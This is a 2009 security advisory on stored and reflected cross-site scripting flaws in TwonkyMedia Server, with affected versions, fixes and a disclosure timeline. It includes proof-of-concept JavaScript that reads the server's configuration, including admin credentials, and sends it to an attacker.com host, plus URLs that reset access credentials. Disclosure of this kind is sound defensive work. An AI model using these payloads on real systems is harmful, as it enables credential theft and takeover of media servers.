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TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities
TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities
TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities

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==========================================================================Title:    TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities

Product:  TwonkyMedia Server
Vendor: TwonkyMedia (PacketVideo Corporation), http://www.twonkymedia.com 

Author:   Davide Canali
E-mail:   davide (at) davidecanali (dot) com

Date:     2009-10-21

TwonkyMedia Server is a DLNA-compliant, UPnP AV-compliant software
that allows to share and stream media to hundreds of popular consumer
electronics devices. It is available for Windows, Linux, Macintosh and
for various different architectures.
TwonkyMedia Server is bundled on a variety of CE and NAS devices from
leading manufacturers, including: Buffalo LinkStation, HP Media Vault,
LaCie Ethernet Disk, Philips Streamium music players, Western Digital
Share Space.


TwonkyMedia Server contains multiple Cross-Site Scripting (XSS)
The TwonkyMedia web server fails to adequately sanitize user input
(HTTP request strings and form input); thus, an attacker may be able
to execute arbitrary script code in a victim's browser.


Two main vulnerabilities have been found.
The TwonkyMedia server IP address, in the following, is just denoted
as "twonky".

A HTTP GET request at http://twonky:9000/NON-EXISTENT-PAGE results in 
a 404 error page containing:

404 Not Found

Not Found

/NON-EXISTENT-PAGE was not found on this server. Thus, an attacker could induce the server administrator (victim) in clicking on a specially crafted link, pointing to: http://twonky:9000/fake_config_page type="text/javascript" src="http://attacker.com/malicious.js" > Clicking this link, the victim loads and executes the attacker's script. An example of this script can be: xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState==4) { document.location="http://attacker.com/get.php?data="+escape(xmlhttp.responseText); } } xmlhttp.open("GET","/rpc/get_all",true); xmlhttp.send(null); This script allows the attacker to read all the server configuration variables, including the administrator's username and password. (The victim, if not already logged on the twonky media server configuration panel, is asked for username and password) 2nd VULNERABILITY: ================= Form inputs are not well validated, so an attacker can even run a Stored Cross-Site Scripting. Most of the pages of the management interface are vulnerable. As an example, writing the following string in one of the "Content Locations" fields in the "Sharing" setup page results in a Stored XSS, which can be exploited by a malicious user every time the victim visits the config page, once infected: Directory" />
http://twonky:9000/rpc/set_option?accessuser=NEWUSER http://twonky:9000/rpc/set_option?accesspwd=NEWPASSWORD 4. AFFECTED PRODUCTS 1st Vulnerability: =================TwonkyMedia Server 4.4.17 and prior versions TwonkyMedia Server 5.0.65 and prior versions This vulnerability has been fixed on versions 4.4.18+, 5.0.66+, and 5.1.X. 2nd Vulnerability: =================At this date, all versions of TwonkyMedia Server are still vulnerable. 5. SOLUTIONS To fix the 1st vulnerability, upgrade to the latest version of TwonkyMedia Server. Latest builds are available at: http://twonkyforum.com/viewtopic.php?f=2&t=6678 6. DISCLOSURE TIMELINE 2009-06-01: Vendor notified 2009-06-08: Vendor response 2009-06-10: Status update from the development team 2009-06-10: Sent email stating that I'll publish the advisory once new versions are released 2009-10-06: New releases checked; 2nd vulnerability was not fixed. Vendor notified 2009-10-21: No response received; release of this advisory ==========================================================================Davide Canali davide (at) davidecanali (dot) com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkrfQs4ACgkQ6yrfzQzWVMGQLwCbBgCWYoXIYWD3qkHlqtRaSs/a g8oAn392UxQB9SvPJf77kfnn4zA1zbf5 =SY7o -----END PGP SIGNATURE-----

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